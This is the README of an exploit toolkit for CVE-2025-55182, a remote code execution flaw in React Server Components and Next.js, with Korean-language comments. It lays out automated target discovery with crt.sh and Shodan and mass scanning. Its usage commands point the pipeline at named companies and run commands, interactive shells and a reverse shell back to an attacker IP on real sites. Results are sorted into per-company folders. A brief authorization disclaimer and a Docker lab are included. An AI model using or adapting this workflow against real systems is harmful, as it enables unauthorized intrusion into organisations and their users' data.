Exploit for Deserialization of Untrusted Data in Facebook React CVE-2025-55182

## https://sploitus.com/exploit?id=C5A21AEF-804D-5AA7-856A-81052E267A3A
# CVE-2025-55182 Exploit Toolkit

React Server Components Pre-Authentication RCE (CVSS 10.0)

## Directory Structure

```
C:\Users\king0\Desktop\POC\2025\55182\
│
├── tools/                          # 자체 개발 도구
│   ├── auto_exploit.py             # 전체 자동화 파이프라인
│   ├── multi_scanner.py            # 멀티 타겟 스캐너
│   ├── domain_finder.py            # 도메인 탐색 (.com 등)
│   ├── target_finder.py            # 타겟 탐색 (crt.sh, Shodan)
│   └── cve_2025_55182_workflow.py  # 핵심 익스플로잇 모듈
│
├── poc/                            # GitHub POC 모음
│   ├── Chocapikk-CVE-2025-55182/   # Python exploit + Docker Lab
│   ├── l4rm4nd-CVE-2025-55182/     # Docker lab + Nuclei template
│   ├── react2shell-scanner/        # Node.js scanner (gensecaihq)
│   └── whiteov3rflow-CVE-2025-55182-poc/  # Simple Python exploit
│
├── results/                        # 스캔 결과
│   └── results_*/                  # 기업별 결과 폴더
│
└── README.md
```

---

## Quick Start

### 1. 자동화 파이프라인 (가장 간편)

```bash
cd tools
python auto_exploit.py -t kyobo
python auto_exploit.py -t samsung -v
```

자동으로:
1. 도메인 수집 (crt.sh, 서브도메인 생성)
2. Next.js 사이트 필터링
3. 취약점 스캔
4. 취약점 검증
5. 보고서 생성

### 2. 멀티 스캐너 (URL 복붙)

```bash
cd tools
python multi_scanner.py
```

URL 복붙 후 Enter 두 번:
```
https://target1.com
https://target2.com
https://target3.com

```

### 3. 단일 타겟 익스플로잇

```bash
cd tools

# 스캔만
python cve_2025_55182_workflow.py -u https://target.com --scan-only

# 검증
python cve_2025_55182_workflow.py -u https://target.com --verify-only

# 명령 실행
python cve_2025_55182_workflow.py -u https://target.com -c "id"

# 인터랙티브 쉘
python cve_2025_55182_workflow.py -u https://target.com --shell

# 리버스 쉘
python cve_2025_55182_workflow.py -u https://target.com --reverse -l YOUR_IP -p 4444
```

---

## Tools Overview

| 도구 | 설명 | 사용법 |
|------|------|--------|
| `auto_exploit.py` | 전체 자동화 | `-t 기업명` |
| `multi_scanner.py` | 멀티 타겟 스캔 | URL 복붙 또는 `-f file.txt` |
| `domain_finder.py` | .com 도메인 탐색 | `--tranco`, `--known` |
| `target_finder.py` | 서브도메인 탐색 | `--crtsh -d domain.com` |
| `cve_2025_55182_workflow.py` | 핵심 익스플로잇 | `-u URL -c "cmd"` |

---

## Lab Environment (테스트용)

```bash
# 취약한 환경 실행
docker run --rm -p 3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest

# 테스트
cd tools
python cve_2025_55182_workflow.py -u http://127.0.0.1:3000 -c "id"
```

---

## Vulnerability Info

| Item | Value |
|------|-------|
| CVE | CVE-2025-55182 |
| CVSS | 10.0 (Critical) |
| Type | Pre-Auth RCE |
| Vector | Prototype Pollution → RCE |
| Discovered | 2025-11-29 |

### Affected Versions

- **Next.js**: 15.0.0-15.5.6, 16.0.0-16.0.6
- **react-server-dom-***: 19.0.0, 19.1.0-19.1.1, 19.2.0

### Patched Versions

- **Next.js**: 15.0.5, 15.1.9, 15.2.6, ..., 16.0.7
- **react-server-dom-***: 19.0.1, 19.1.2, 19.2.1

---

## Requirements

```bash
pip install requests urllib3 colorama
```

---

## Disclaimer

For authorized security testing only. Obtain proper authorization before testing.